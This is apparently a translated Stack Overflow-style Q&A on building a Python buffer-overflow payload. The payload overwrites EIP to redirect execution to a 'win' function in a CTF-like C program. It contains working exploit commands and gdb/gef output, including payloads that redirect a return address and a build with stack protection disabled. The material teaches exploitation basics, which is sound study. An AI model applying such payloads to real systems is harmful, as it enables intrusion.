如何使用python生成有效负载以进行缓冲区溢出?

时间:2017-10-08 17:21:36

标签: python-2.7 endianness buffer-overflow exploit

我试图引发缓冲区溢出以便在C代码上执行函数。到目前为止,我已经设法找出接管EBP寄存器的字节数。接下来唯一的事情就是将EIP的地址替换为我想要执行的函数。我试图用python生成这个有效负载。为此,我使用以下

python -c 'print "A"*112 + "\x3b\x86\x04\x08"'  > attack_payload

这就是我得到的

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;�

注意那些最后的角色!我知道这不是我想要得到的。我希望在EIP注册表上运行的地址是0804863b。我必须将其放在little endian上才能使漏洞正常运行。对此有何评论?

1 个答案:

答案 0 :(得分:0)

如果您运行此有效负载:

python -c 'print "A"*112 + "B"*4'  > attack_payload

然后,如果您可以控制PC (EIP=42424242)

(gdb) r < attack_payload

您可以将“BBBB”替换为您的地址0804863b

python -c 'print "A"*112 + "\x3b\x86\x04\x08"'  > attack_payload

这就是全部,如果你有EIP控制,你应该先验证。

更多信息(我看到源代码),以一种简单的方式(为了更好的解释)尝试使用以下命令进行编译

gcc -o main main.c -fno-stack-protector -g -m32

使用调试器(gdb ./main)运行它并设置以下断点

gef➤  b 13
Breakpoint 2 at 0x8048611: file main.c, line 13.

继续并插入以下有效负载

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCCC

继续执行指示

 →  0x804862d <stringLength+60> ret    

您可以看到现在您可以控制返回值

gef➤  bt
#0  0x0804862d in stringLength () at main.c:14
#1  0x43434343 in ?? ()
#2  0x08048800 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
gef➤  x/x $sp
0xffffd5ec: 0x43434343

现在您可以将“CCCC”替换为获胜功能的地址

gef➤  p win
$1 = {void ()} 0x80485dd <win>

您可以使用简单的python脚本自动化所有内容(尝试查看此库pwntools),您的有效负载将为:

payload = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
payload += "\xdd\x85\x04\x08"

或者你也可以运行

python -c 'print "1"+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+"\xdd\x85\x04\x08"' | ./main